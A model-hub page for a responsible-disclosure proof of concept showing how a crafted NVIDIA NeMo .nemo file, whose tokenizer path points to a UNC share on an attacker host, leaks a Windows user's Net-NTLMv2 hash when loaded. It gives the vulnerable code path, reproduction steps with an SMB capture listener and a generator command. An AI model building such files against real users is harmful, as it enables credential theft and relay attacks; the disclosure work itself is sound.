Instructions to use ErenAta00/nemo-unc-path-ntlm-leak-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use ErenAta00/nemo-unc-path-ntlm-leak-poc with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
NeMo .nemo UNC-Path NTLM Credential Leak β Proof of Concept
This repository contains a minimal, non-destructive proof-of-concept for a
vulnerability in NVIDIA/NeMo: loading a
crafted .nemo model file can force the victim machine to attempt an SMB
connection with NTLM authentication to an attacker-controlled host, leaking
the victim's Net-NTLMv2 hash. This is prepared for responsible disclosure
through huntr's Model File Vulnerabilities track.
Files
poc_ntlm_leak.nemoβ a plain tar archive (the standard.nemocontainer format) containing a singlemodel_config.yamlwhosetokenizer.model_pathis set to a UNC path (\\<attacker-host>\share\poc). The file performs no destructive action and contains no executable payload.generate_nemo_poc.pyβ the generator script used to build the PoC, for reproducibility.
Mechanism
NeMo's SaveRestoreConnector.register_artifact()
(nemo/core/connectors/save_restore_connector.py) resolves artifact paths
read directly from a .nemo file's embedded YAML config with:
if os.path.exists(os.path.abspath(src)):
return_path = os.path.abspath(src)
src is not validated against any scheme restriction or containment check.
On Windows, when src is a UNC path, os.path.exists() causes an outbound
SMB connection attempt, which triggers an automatic NTLM authentication
handshake β leaking the calling machine's Net-NTLMv2 hash to the attacker's
listener. This is reached via the standard tokenizer-loading path
(nemo/collections/asr/parts/mixins/mixins.py), used by any BPE-tokenizer
model, whenever tokenizer.model_path is read from the model's config and
passed to register_artifact().
Reproduction
- Start a passive SMB/NTLM capture listener on a host you control, e.g.:
(Impacket) or asmbserver.py -smb2support share .Responderinstance. - Regenerate the PoC pointed at that host:
python generate_nemo_poc.py <your-listener-host> poc_ntlm_leak.nemo - Load the file with NeMo's standard restore API:
from nemo.collections.asr.models import ASRModel ASRModel.restore_from("poc_ntlm_leak.nemo") - Observe the inbound SMB connection and NTLM authentication attempt on the listener, originating from the machine that loaded the file.
Impact
Disclosure of the victim's Windows Net-NTLMv2 hash to an attacker-controlled
host, usable for offline cracking or NTLM relay attacks, triggered purely by
loading an untrusted .nemo file via a normal, documented API call.
Disclosure status
This repository is gated and shared solely to support a bug bounty submission to huntr. It does not include any code capable of executing arbitrary commands.
- Downloads last month
- -